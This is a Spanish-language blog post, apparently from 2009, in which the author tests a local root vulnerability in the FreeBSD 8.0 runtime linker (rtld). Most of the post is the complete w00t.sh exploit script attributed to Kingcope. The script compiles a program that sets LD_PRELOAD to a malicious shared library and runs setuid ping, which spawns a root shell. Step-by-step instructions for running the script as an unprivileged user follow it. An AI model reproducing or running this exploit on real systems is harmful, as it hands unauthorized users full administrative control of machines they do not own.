Probando la vulnerabilidad de FreeBSD 8.0 (noviembre 30 de 2009)

Introducción.

El día de ayer me enteré que habían descubierto una vulnerabilidad en FreeBSD, mas específicamente en editor de enlace en tiempo real (rtld) que le permite a cualquier usuario local convertirse en root.

Este fallo afecta a las versiones 7.1 y 8 (Amnesiac) de FreeBSD.

La presente es una prueba, rápida y sencilla del exploit para ver como funcionaba.

Instalación.

Descargué la imagen ISO del disco #1 de FreeBSD versión 8 del siguiente enlace.

ftp://ftp.freebsd.org/pub/FreeBSD/releases/i386/ISO-IMAGES/8.0/

En el momento de instalarlo es necesario incluír el soporte para el desarrollo de aplicaciones en C ya que es necesario compilar y enlazar un pequeño programa con gcc.

Ejecución.

Ingrese como un usuario sin privilegios en el sistema, en mi caso, el usuario jimezam el cual ni siquiera puede intentar convertirse en root mediante la invocación a su.

screenshot_001

Cree u obtenga el archivo w00t.sh con el código fuente del exploit, dispuesto a continuación.

#!/bin/sh
echo ** FreeBSD local r00t zeroday
echo by Kingcope
echo November 2009
cat > env.c << _EOF
#include <stdio.h>

main() {
 extern char **environ;
 environ = (char**)malloc(8096);

 environ[0] = (char*)malloc(1024);
 environ[1] = (char*)malloc(1024);
 strcpy(environ[1], "LD_PRELOAD=/tmp/w00t.so.1.0");

 execl("/sbin/ping", "ping", 0);
}
_EOF
gcc env.c -o env
cat > program.c << _EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
 extern char **environ;
 environ=NULL;
 system("echo ALEX-ALEX;/bin/sh");
}
_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfiles
cp w00t.so.1.0 /tmp/w00t.so.1.0
./env

Modifique su permiso de ejecución.

$ chmod +x w00t.sh

Invoque el script.

screenshot_002

Note como el usuario propietario de la sesión ha obtenido privilegios de administrador.

screenshot_003

El bug ha sido entonces exitosamente explotado.

Enlaces.

One thought on “Probando la vulnerabilidad de FreeBSD 8.0 (noviembre 30 de 2009)”

Leave a Reply

Your email address will not be published. Required fields are marked *